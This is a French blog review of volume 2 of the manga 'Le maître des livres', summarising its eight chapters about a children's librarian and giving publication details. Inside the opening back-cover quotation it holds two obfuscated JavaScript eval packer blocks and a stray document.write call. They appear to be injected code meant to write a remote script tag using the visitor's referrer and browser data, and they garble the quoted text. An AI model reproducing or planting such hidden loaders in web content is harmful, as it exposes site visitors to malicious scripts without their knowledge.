Le maître des livres (2)

“Mikoshiba, document.write(“”); qu’on appelle affectueusement “le champignon”, est le célèbre bibliothécaire pour enfants de “La rose trémière”. Derrière sa façon un peu rude de parler se cache en fait un personnage très agréable que les gens découvrent à travers les livres qu’il conseille. Adulte tourmenté ou enfant triste, chacun ressent le besoin de lire des livres.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kadie|var|u0026u|referrer|zknia||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbnky|var|u0026u|referrer|byzfz||js|php’.split(‘|’),0,{}))

“C’est à travers la rencontre de ces personnes que nous est contée la suite des aventures de Mikoshiba, le “sommelier du livre pour enfant”.”

(Texte de la couverture arrière)

Continuez après le saut de page >>

ATTENTION: Peut contenir des traces de “spoilers”! Les personnes allergiques à toutes discussions d’une intrigue avant d’en avoir eux-même prit connaissance sont vivement conseillé de prendre les précautions nécessaires pour leur sécurité et devraient éviter de lire plus loin.

Comme je l’ai déjà dit dans mon commentaire du premier volume de cette série, Le maître des livres (????? / Toshokan no Aruji / lit. “Le seigneur de la bibliothèque”) est un manga seinen par Umiharu Shinohara qui est couramment prépublié en feuilletons dans la magazine Weekly Manga Times de l’éditeur japonais H?bunsha. Compilé en volumes (tank?bon) depuis août 2011, il y a neuf tomes de parus au Japon jusqu’à maintenant (le plus récent à la mi-novembre 2014). Publié en français par Komikku Éditions, le deux premiers volumes sont paru simultanément en août 2014, un troisième en début décembre et un quatrième devrait paraître vers la mi-mars 2015. Vous pouvez consultez un extrait d’une quarantaine de pages du premier volume.

Maintenant que les prémices de l’histoire sont établi et que nous connaissons bien les personnages principaux, le deuxième volume de la série peut nous entraîner dans des récits un peu plus complexes et riches qui se permettent d’approfondir sur la vie des personnages secondaires, c’est-à-dire les employés et les usagers de la bibliothèque. On retrouve donc huit petites histoires différentes.

Dans la première histoire (chapitre 10: “Le bonheur de ma mère”), Monsieur Miyamoto se présente à la bibliothèque avec une collègue de travail, Kaneko, et sa fille Risa. Elle exprime très clairement son intérêt envers M. Miyamoto (qui en est tout a fait inconscient), au grand désarroi d’une des employés de la bibliothèques, Mizuho, qui a aussi des vues sur lui. Elle tombe par hasard sur un livre d’histoire de son enfance, Papa-Longues-Jambes de Jean Webster, et en se remémorant l’histoire et en discutant avec M. Miyamoto elle réalise des choses. Elle pensait que son chef ne portait pas attention à elle mais en fait, comme il se cherche encore, il n’a pas de place à lui accorder dans sa vie. Elle décide donc d’arrêter de chercher le “Papa-longues-jambes” de ses rêves et de cesser de courir après Miyamoto.

Dans la deuxième historie (chapitre 11: “La librairie et la bibliothèque”), Miyamoto se rends dans une librairie pour faire un achat. Il rencontre un jeune libraire très (trop) enthousiaste. Plus tard, un personnage louche rode autour de la bibliothèque et les employés découvrent qu’il s’agit du jeune libraire qui perçoit la bibliothèque et surtout Mikoshiba, comme un compétiteur, voir un ennemi! Il croit que les bibliothèques sont la cause du déclin des ventes en librairies. Son patron, qui passait par là pour venir faire une livraison de livres à la bibliothèques, le détrompe: non seulement les bibliothèques s’approvisionnent auprès des librairies locales mais elles contribuent à faire la promotion des livres et donc génèrent de la clientèle! “En bref, une bibliothèque est un lieu qui te procure l’envie d’aller acheter tes livres.”

La troisième histoire (chapitre 12: “Tombe amoureuse, jeune femme”) tourne autour de Kanda Mizuho, une employé de la bibliothèque qui est amoureuse de Miyamoto, qui lui ne se rend compte de rien. Sur la suggestion de ses collègues elle crée une excuse pour sortir avec Moyamoto et lui raconte comment elle a acquit de l’expérience à la bibliothèque. Mikoshiba lui recommanda de lire Les quatre filles du docteur March, qui la séduisit immédiatement. “Il n’y a pas besoin de se forcer à connaître tous les livres” lui dit-elle. “Commence par ceux qui t’intéressent. Il te suffira de te spécialiser dans le genre littéraire qui te plaira.”

Dans la quatrième histoire (chapitre 13: “La journée des adolescents”), un vieil homme se présente à la bibliothèque en pleine canicule. Il cherche à retrouver un livre dont il n’a jamais connu le titre. Pendant la guerre, alors qu’il était enfant, un de ses ami lisait ce livre et le lui racontait mais il n’y portait pas vraiment d’intérêt. Il le regretta lorsque son ami mourru dans un bombardement. Évidemment Mikoshiba, avec quelques indices (des éléments de l’histoire et le fait que c’était pré-publié dans le magazine “Le club des adolescents”) trouve tout de suite qu’il s’agit de L’oeil du tigre de Hitomi Takagaki.

Le récit suivant (chapitre 14: “Avec mon père”) nous raconte l’histoire du petit Léo dont le père est revenu après une longue absence, mais celui-ci a de la difficulté à “communiquer” avec son fils. Mikoshiba l’aide en lui montant comment raconter une histoire à son fils. La sixième histoire (chapitre 15-16: “Le coquillage de feu”) met en scène Kayo, une autre employée de la bibliothèque. Comme le vieux monsieur dans une histoire précédente, elle demande à Mikoshiba de retrouver un livre qu’elle a lu dans son enfance. Après une brève description, il le trouve tout de suite: il s’agit du livre Le coquillage de feu du célèbre auteur japonais Kenji Miyazawa. C’est l’histoire d’un lapin qui trouve une pierre qui brille et dont la possession lui amène le respect des autres animaux, mais ses mauvaises actions (que lui reproche son père) fait que la pierre perd sa luminescence et qu’il perd la vue. Un peu plus tard un itinérant entre dans la bibliothèque et Kayo le fou à la porte sans ménagement et semble par la suite bouleversée. Pour l’aider ses collègues l’amène prendre un verre pour la faire parler. Elle raconte que l’itinérant est en fait son père qui a abandonné sa famille il y a de nombreuses années, plongeant sa mère et elle dans des difficultés. Elle se remémore qu’un bibliothécaire lui avait jadis fait comprendre la véritable morale de l’histoire (et donné l’envie de devenir bibliothécaire à son tour). Elle comprend aussi que son père n’était peut-être pas aussi égoïste qu’elle le pensait. En fait, il venait à la bibliothèque pour faire de la recherche d’emploi…

Dans la septième histoire (chapitre 17: “Le premier pas”), le jeune libraire Mamoru Isaki rêve de devenir auteur d’histoires pour enfants. Mikoshiba lui suggère de la lire aux enfants à la prochaine heure du conte mais il hésite car son histoire n’est pas terminée. Il tente l’expérience néanmoins et la réaction des jeunes l’encourage et lui permet de compléter et améliorer son histoire. Dans la dernière histoire (chapitre 18: Chant de Noël), des lycéennes du club d’étude de littérature pour enfants se propose de donner bénévolement un activité pour la fête de Noël de la bibliothèque. L’une d’entre elle est en fait la petite soeur de Mikoshiba. Ils ne se sont pas vu depuis le divorce de leur parent. On en apprend un peu sur l’enfance de Mikoshiba. Sa soeur lui reproche d’avoir manqué à ses obligations et d’avoir choisi de faire le travail dont il rêvait en étant un grand amoureux des livres.

Ce titre est donc toujours (et même un petit peu plus que le premier volume) un manga amusant, bien écrit et plutôt éducatif qui nous fait découvrir — ou re-découvrir — l’univers de la littérature jeunesse classique. À lire absolument particulièrement si vous travaillez dans une bibliothèque (jeunesse)!

Le maître des livres vol. 2, écrit et illustré par Umiharu Shinohara. Paris, Komikku Éditions, août 2014. 224 pages, 13×18 cm, 8,50 € / $14.95 Cnd, ISBN 979-10-91610-63-6. Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:

Toshokan no Aruji © 2012 Umiharu Shinohara • H?bunsha. All rights reserved.

[ Translate ]

2 thoughts on “Le maître des livres (2)

  1. Pingback: Index of book reviews | Clodjee's Safe-House

  2. Pingback: Bibliography | Clodjee's Safe-House

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s